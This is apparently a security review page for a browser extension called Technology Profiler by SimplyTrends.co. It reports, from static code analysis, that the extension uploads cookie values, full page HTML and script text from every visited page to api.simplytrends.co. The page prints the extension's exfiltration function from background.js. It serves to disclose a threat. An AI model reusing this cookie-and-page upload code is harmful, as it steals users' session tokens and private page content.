Is Technology Profiler by SimplyTrends.co safe?
Technology Profiler by SimplyTrends.co is high risk. Code analysis shows the extension reads cookie values and the full HTML and script text of every page you visit, gzips them together, and POSTs the result to api.simplytrends.co. The listing describes only technology detection.
Who publishes itSimplyTrends Team - 7 other listings from the same operator, none carrying a finding
SimplyTrends Team - 7 other listings from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
7 other listings published from this account, 11k+ users between them, none of them carrying a finding.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Uploads your page cookie values and full HTML to simplytrends.co on every visit
Code analysis shows the extension reads cookie values and the full HTML and script text of every page you visit, gzips them together, and POSTs the result to api.simplytrends.co.
The listing describes only technology detection.
What actually happens
You browse to any page with the extension installed and enabled.
The upload runs once the extension's injected on-page UI mounts, which happens automatically on the extension's polling loop, not on a user click.
The background worker reads that page's cookie values and full HTML, compresses them together, and uploads them to api.simplytrends.co.
This runs on every navigation to every site, not only pages related to the extension's stated purpose.
The code that does this
background.js: webtech_get folds cookie values and full page HTML into the uploaded payload
async function webtech_get(tabId, opts) { // Ask the content script for the full rendered page. const { data } = await sendMessageToTab(tabId, { action: "getHTML" }); const { html, text, overrides, cookies } = data; // cookies starts as {} // Fetch the text of every inline/external script on the page. const scriptTexts = await Promise.all( opts.scriptList.map((src) => fetch(src).then((r) => r.text()).catch(() => null)) ); // Read the visited page's ACTUAL cookie values (not just names) and fold // them into the same object that will be uploaded. const rawCookies = await chrome.cookies.getAll({ url: opts.url }); rawCookies.forEach(({ name, value }) => { cookies[name.toLowerCase()] = [value]; }); const payload = gzip(JSON.stringify({ ...opts, scriptTextList: scriptTexts.filter(Boolean), innerHtml: html.replace(/[\n\t]/g, ""), innerText: text, cookies, // real cookie values, keyed by lowercased name overrides })); const form = new FormData(); form.append("file", new Blob([payload], { type: "blob" })); await fetch("https://api.simplytrends.co/1/web_tech/analyze_website_technology_from_wl", { method: "POST", body: form });}What gets gzip-compressed and uploaded on every page visit
- Cookie values for the visited site{"session": ["eyJhbGciOiJIUzI1NiJ9..."]}
Every cookie's actual value for the page you're on, which can include session tokens, not just cookie names.
- Full page HTML<html><body>...full page markup...</body></html>
The entire rendered DOM of the page you're viewing, including any form fields or content on it.
- Visible page textSign in to your account...
The full visible text content of the page.
- Inline and external script textfunction login(){...}
The source of every script tag on the page, fetched and included in the upload.
- Page URL and hostnamehttps://shop.example.com/checkout
The address of the page you visited, sent alongside everything above.
Where the upload goes
- api.simplytrends.co
Receives the gzip-compressed page HTML, script text and cookie values for every page visited, sent by this extension under a technology-detection label.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 0.0.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Run its own code inside the pages you visit
scripting
Store data in your browser
storage
See, disable and uninstall your other extensions, including your security ones
management
Watch every request your browser makes
webRequest
Read and change cookies, including the ones that keep you signed in
cookies
